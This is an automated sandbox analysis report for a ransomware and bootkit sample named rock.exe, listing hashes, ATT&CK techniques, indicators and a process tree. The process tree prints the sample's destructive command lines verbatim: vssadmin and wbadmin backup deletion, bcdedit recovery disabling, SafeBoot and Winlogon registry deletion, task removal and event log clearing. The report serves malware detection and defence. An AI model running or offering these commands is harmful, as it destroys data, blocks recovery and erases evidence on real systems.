00a67c916dd759c9c2cc2e36d1e2d2e210476656457d2d807d35f15c3e5afe48

Analysis

geolocation tags

cacanadananorth-americatoronto
user interaction
yes
max time kernel
211s
max time network
158s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
30/09/2026, 12:12

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General

Target
rock.exe
Size 128KB
Sample260930-pdfnsstyg1
SHA256 00a67c916dd759c9c2cc2e36d1e2d2e210476656457d2d807d35f15c3e5afe48
MD5 d327a20bca8115f79902e719c6365b7b
SHA1 7cc4e601f48f0e5b2b3f9a196687b5914398b7a3
SHA512 ee891f203a185d322b1292683119ee5855c23e3e277a27334fa40b2792325213eeba5ea0d9ff240e439d3cf22dca10622b135fe29e488dd5c55d7a75b8b3e0b5
SSDEEP 3072:JqWFP8Q2VQiMmY5M8rcRSkcw6bcJP5L5RJX4VJX4Ny7coC3:JqsthbcJP5L5PX4rX47oC3
TLSH
T116D3B4F1B7D69CC5E936A27856D6D222373CFAE086238707922015351F13ED13EEA6C6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion evasion execution impact persistence ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
3168	wevtutil.exe
2408	wevtutil.exe
3828	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1048	bcdedit.exe
4664	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1680	wbadmin.exe

Drops file in Drivers directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\disk.sys	rock.exe
File opened for modification	C:\Windows\System32\drivers\ntfs.sys	rock.exe
File opened for modification	C:\Windows\System32\drivers\volmgr.sys	rock.exe
File opened for modification	C:\Windows\System32\drivers\volsnap.sys	rock.exe
File opened for modification	C:\Windows\System32\drivers\storport.sys	rock.exe

Uses Session Manager for persistence 2 TTPs 1 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 0000	reg.exe

Impair Defenses: Safe Mode Boot 1 TTPs 7 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	reg.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\desktop.ini	rock.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	rock.exe
\??\D:\	rock.exe
\??\E:\	rock.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4268	cmd.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	rock.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\winre.wim	rock.exe
File opened for modification	C:\Windows\System32\hal.dll	rock.exe
File opened for modification	C:\Windows\System32\smss.exe	rock.exe
File opened for modification	C:\Windows\System32\wininit.exe	rock.exe
File opened for modification	C:\Windows\System32\kernel32.dll	rock.exe
File opened for modification	C:\Windows\System32\winlogon.exe	rock.exe
File opened for modification	C:\Windows\System32\csrss.exe	rock.exe
File opened for modification	C:\Windows\System32\lsass.exe	rock.exe
File opened for modification	C:\Windows\System32\gdi32.dll	rock.exe
File opened for modification	C:\Windows\System32\shell32.dll	rock.exe
File opened for modification	C:\Windows\System32\config\SECURITY	rock.exe
File opened for modification	C:\Windows\System32\ntoskrnl.exe	rock.exe
File opened for modification	C:\Windows\System32\svchost.exe	rock.exe
File opened for modification	C:\Windows\System32\advapi32.dll	rock.exe
File opened for modification	C:\Windows\System32\config\SYSTEM	rock.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	rock.exe
File opened for modification	C:\Windows\System32\config\DEFAULT	rock.exe
File opened for modification	C:\Windows\System32\winload.exe	rock.exe
File opened for modification	C:\Windows\System32\services.exe	rock.exe
File opened for modification	C:\Windows\System32\user32.dll	rock.exe
File opened for modification	C:\Windows\System32\ntdll.dll	rock.exe
File opened for modification	C:\Windows\System32\config\SAM	rock.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\bootmgr	rock.exe
File opened for modification	C:\Windows\explorer.exe	rock.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4476	cmd.exe
224	cmd.exe
2164	cmd.exe
820	cmd.exe
3352	cmd.exe
4696	cmd.exe
1224	cmd.exe
5032	cmd.exe
4632	cmd.exe
4708	cmd.exe
524	cmd.exe
3932	cmd.exe
1716	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2564	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe
388	rock.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe
Token: SeBackupPrivilege	1852	wbengine.exe
Token: SeRestorePrivilege	1852	wbengine.exe
Token: SeSecurityPrivilege	1852	wbengine.exe
Token: SeSecurityPrivilege	3828	wevtutil.exe
Token: SeBackupPrivilege	3828	wevtutil.exe
Token: SeSecurityPrivilege	3168	wevtutil.exe
Token: SeBackupPrivilege	3168	wevtutil.exe
Token: SeSecurityPrivilege	2408	wevtutil.exe
Token: SeBackupPrivilege	2408	wevtutil.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
388	rock.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
388	rock.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 388 wrote to memory of 4632	388	rock.exe	91
PID 4632 wrote to memory of 2408	4632	cmd.exe	94
PID 388 wrote to memory of 4708	388	rock.exe	95
PID 4708 wrote to memory of 4108	4708	cmd.exe	97
PID 388 wrote to memory of 224	388	rock.exe	98
PID 224 wrote to memory of 1048	224	cmd.exe	100
PID 388 wrote to memory of 2164	388	rock.exe	101
PID 2164 wrote to memory of 4664	2164	cmd.exe	103
PID 388 wrote to memory of 524	388	rock.exe	104
PID 524 wrote to memory of 2564	524	cmd.exe	106
PID 388 wrote to memory of 820	388	rock.exe	109
PID 820 wrote to memory of 1680	820	cmd.exe	111
PID 388 wrote to memory of 4268	388	rock.exe	115
PID 4268 wrote to memory of 3260	4268	cmd.exe	117
PID 388 wrote to memory of 3932	388	rock.exe	118
PID 3932 wrote to memory of 2212	3932	cmd.exe	121
PID 388 wrote to memory of 3352	388	rock.exe	122
PID 3352 wrote to memory of 3736	3352	cmd.exe	124
PID 388 wrote to memory of 4696	388	rock.exe	125
PID 4696 wrote to memory of 3864	4696	cmd.exe	128
PID 388 wrote to memory of 1716	388	rock.exe	129
PID 1716 wrote to memory of 1864	1716	cmd.exe	131
PID 388 wrote to memory of 4476	388	rock.exe	132
PID 4476 wrote to memory of 3828	4476	cmd.exe	134
PID 388 wrote to memory of 1224	388	rock.exe	135
PID 1224 wrote to memory of 3168	1224	cmd.exe	137
PID 388 wrote to memory of 5032	388	rock.exe	138
PID 5032 wrote to memory of 2408	5032	cmd.exe	140

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\rock.exe
"C:\Users\Admin\AppData\Local\Temp\rock.exe"
1⤵
- Drops file in Drivers directory
- Drops desktop.ini file(s)
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v AutoReboot /t REG_DWORD /d 0 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v AutoReboot /t REG_DWORD /d 0 /f
    3⤵
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "" /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "" /f
    3⤵
    - Uses Session Manager for persistence
    PID:4108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:820
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /Delete /TN "*" /F >nul 2>&1
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\schtasks.exe
    schtasks /Delete /TN "*" /F
    3⤵
    PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /f
    3⤵
    PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
    3⤵
    PID:3736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f
    3⤵
    - Impair Defenses: Safe Mode Boot
    PID:3864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore" /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore" /f
    3⤵
    PID:1864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl System >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl Application >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl Security >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2408

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x49c 0x300
1⤵
PID:4836

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1852

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4972

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf

Path C:\Users\Default\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf
Size 64KB
SHA256 f6eda1a479618b35416c944a19eb2a31c6d1a2f98ce36f506f84f33ed61ee129
MD5 2ad96ac6a6e7a5d7450f204eda8b79a6
SHA1 4b5ea5c030446bfb42acb1f60d38e1d57f2a35bd
SHA512 e999d2037cacc5160c42f45782d482d866f501a463ccf3ae14196691d0c81673a35e5b82f1e4c7c08a148d83359b191ab8a0b2a18c151fdf9375b69af465e731
SSDEEP 1536:+nyJ8/dp0OHiEVh9ywh4o+RswRcIM0nlykPp9BHaLgw:nJ8cMiEVmV5ewRcIvnlykx9d4h
TLSH
T1F85301FEF089A2353BF9485304AFBA9330C6EB751E44B2DFD60F51808A90A1F0A55F19
MD5 SHA1 SHA512 SSDEEP TLSH